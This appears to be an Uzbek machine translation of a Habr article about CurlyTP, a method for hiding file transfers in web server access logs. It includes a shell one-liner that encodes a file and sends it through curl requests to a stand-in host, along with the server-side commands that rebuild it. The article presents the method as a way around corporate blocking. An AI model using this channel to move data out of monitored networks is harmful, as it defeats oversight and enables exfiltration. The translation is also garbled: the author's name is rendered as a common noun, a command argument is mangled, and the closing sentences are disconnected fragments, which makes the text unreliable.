Vikipediya ta'rifiga ko'ra, o'lik tomchi - bu maxfiy joydan foydalangan holda odamlar o'rtasida ma'lumot yoki ba'zi narsalarni almashish uchun xizmat qiluvchi fitna vositasi. G'oya shundan iboratki, odamlar hech qachon uchrashmaydilar - lekin ular hali ham operatsion xavfsizlikni ta'minlash uchun ma'lumot almashadilar.
Yashirin joy diqqatni jalb qilmasligi kerak. Shuning uchun, oflayn dunyoda ular ko'pincha ehtiyotkor narsalardan foydalanadilar: devordagi bo'sh g'isht, kutubxona kitobi yoki daraxtdagi bo'shliq.
Internetda ko'plab shifrlash va anonimlashtirish vositalari mavjud, ammo bu vositalardan foydalanish haqiqatining o'zi e'tiborni tortadi. Bundan tashqari, ular korporativ yoki hukumat darajasida bloklanishi mumkin. Nima qilish kerak?
Dasturchi Rayan Flowers qiziqarli variantni taklif qildi -
Ma'lum bo'lishicha, har qanday veb-server deyarli har qanday xabarni jurnalda saqlashga imkon beradi. Gullar buni qanday ishlatishni hayron qoldirdi.
U ushbu variantni taklif qiladi:
- Matn faylini (maxfiy xabar) oling va xeshni hisoblang (md5sum).
- Biz uni kodlaymiz (gzip+uuencode).
- Biz serverga ataylab noto'g'ri so'rov yordamida jurnalga yozamiz.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Faylni o'qish uchun siz ushbu operatsiyalarni teskari tartibda bajarishingiz kerak: faylni dekodlash va ochish, xeshni tekshirish (xeshni ochiq kanallar orqali xavfsiz tarzda uzatish mumkin).
Bo'shliqlar bilan almashtiriladi =+=
manzilda bo'sh joy qolmasligi uchun. Muallif CurlyTP deb ataydigan dastur elektron pochta qo'shimchalari kabi base64 kodlashdan foydalanadi. So'rov kalit so'z bilan amalga oshiriladi ?transfer?
qabul qiluvchi uni jurnallardan osongina topishi uchun.
Bu holatda jurnallarda nimani ko'ramiz?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Yuqorida aytib o'tilganidek, maxfiy xabarni olish uchun siz operatsiyalarni teskari tartibda bajarishingiz kerak:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Jarayonni avtomatlashtirish oson. Md5sum mos keladi va fayl mazmuni hamma narsa to'g'ri dekodlanganligini tasdiqlaydi.
Usul juda oddiy. βUshbu mashqning maqsadi shunchaki fayllarni begunoh veb-so'rovlar orqali uzatish mumkinligini isbotlash va u oddiy matn jurnallari bilan har qanday veb-serverda ishlaydi. Aslini olganda, har bir veb-server yashiringan joy!β deb yozadi Flowers.
Albatta, usul faqat qabul qiluvchi server jurnallariga kirish imkoniga ega bo'lsa ishlaydi. Ammo bunday kirish, masalan, ko'plab xostlar tomonidan taqdim etiladi.
Undan qanday foydalanish kerak?
Rayan Flowersning aytishicha, u axborot xavfsizligi bo'yicha mutaxassis emas va CurlyTP uchun mumkin bo'lgan foydalanish ro'yxatini tuzmaydi. Uning uchun bu biz har kuni koβrib turgan tanish asboblardan noanβanaviy tarzda foydalanish mumkinligi haqidagi tushunchaning isboti xolos.
Aslida, bu usul boshqa server "yashirish" kabi bir qator afzalliklarga ega
Bu xizmat fayllari orqali xabarlarni uzatish usullaridan biridir. Ba'zi ilg'or kompaniyalar qanday joylashtirganini eslashingiz mumkin
Bu Pasxa tuxumini faqat veb-ishlab chiquvchilar ko'radi, chunki oddiy odam sarlavhalarga yoki HTML kodiga qaramaydi.
Manba: www.habr.com